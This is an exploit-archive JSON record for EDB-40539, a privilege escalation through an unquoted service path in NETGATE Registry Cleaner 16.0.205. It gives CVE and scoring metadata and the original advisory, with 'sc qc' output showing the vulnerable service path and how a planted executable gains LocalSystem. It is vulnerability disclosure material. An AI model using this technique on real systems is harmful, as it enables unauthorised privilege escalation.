{"exploit":{"id":"EDB-40539","name":"NETGATE Registry Cleaner 16.0.205 - Unquoted Service Path Privilege Escalation","description":"NETGATE Registry Cleaner 16.0.205 - Unquoted Service Path Privilege Escalation","cves":["CVE-2016-20057"],"author":"Amir.ght","published":"2016-10-15","platform":"windows","type":"local","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/40539","path":"exploits/windows/local/40539.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-40539.txt","vulnerabilities":[{"id":"CVE-2016-20057","state":"PUBLISHED","title":"NETGATE Registry Cleaner build 16.0.205 Unquoted Service Path Privilege Escalation","titleSource":"CVE Program","description":"NETGATE Registry Cleaner build 16.0.205 contains an unquoted service path vulnerability in the NGRegClnSrv service that allows local attackers to escalate privileges by exploiting the service binary path. Attackers can place a malicious executable in the unquoted path and trigger service restart or system reboot to execute code with LocalSystem privileges.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2016-20057","cvss":{"version":"4.0","baseScore":8.5,"severity":"high","vectorString":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","source":"VulnCheck","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2016-20057"},"updatedAt":"2026-10-27T00:40:44.817Z","retrievedAt":"2026-11-26T13:07:02.161Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-40539.png?v=2","url":"https://exploitbin.com/exploits/EDB-40539","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-40539/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-40539/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#########################################################################\n# Exploit Title: NETGATE Registry Cleaner Unquoted Service Path Privilege Escalation\n# Date: 15/10/2016\n# Author: Amir.ght\n# Vendor Homepage: http://www.netgate.sk/\n# Software Link: http://www.netgate.sk/download/download.php?id=4\n# Version : build 16.0.205  (Latest)\n# Tested on: Windows 7\n##########################################################################\n\nNETGATE Registry Cleaner installs a service with an unquoted service path\nTo properly exploit this vulnerability,\nthe local attacker must insert an executable file in the path of the service.\nUpon service restart or system reboot, the malicious code will be run\nwith elevated privileges.\n-------------------------------------------\nC:\\>sc qc NGRegClnSrv\n[SC] QueryServiceConfig SUCCESS\n\nSERVICE_NAME: NGRegClnSrv\n        TYPE               : 10  WIN32_OWN_PROCESS\n        START_TYPE         : 2   AUTO_START\n        ERROR_CONTROL      : 1   NORMAL\n        BINARY_PATH_NAME   : C:\\Program Files\\NETGATE\\Registry\nCleaner\\RegistryCleanerSrv.exe\n        LOAD_ORDER_GROUP   :\n        TAG                : 0\n        DISPLAY_NAME       : NETGATE Registry Cleaner Service\n        DEPENDENCIES       :\n        SERVICE_START_NAME : LocalSystem","sha256":"b569b62d6828355989dc5be0d616f71bbbc435ef055c1f3ce7090b8cd2bdd4a1","bytes":1274,"fetchedAt":"2026-11-26T13:07:02.049Z","encoding":"utf-8 (display only; download retains original bytes)"}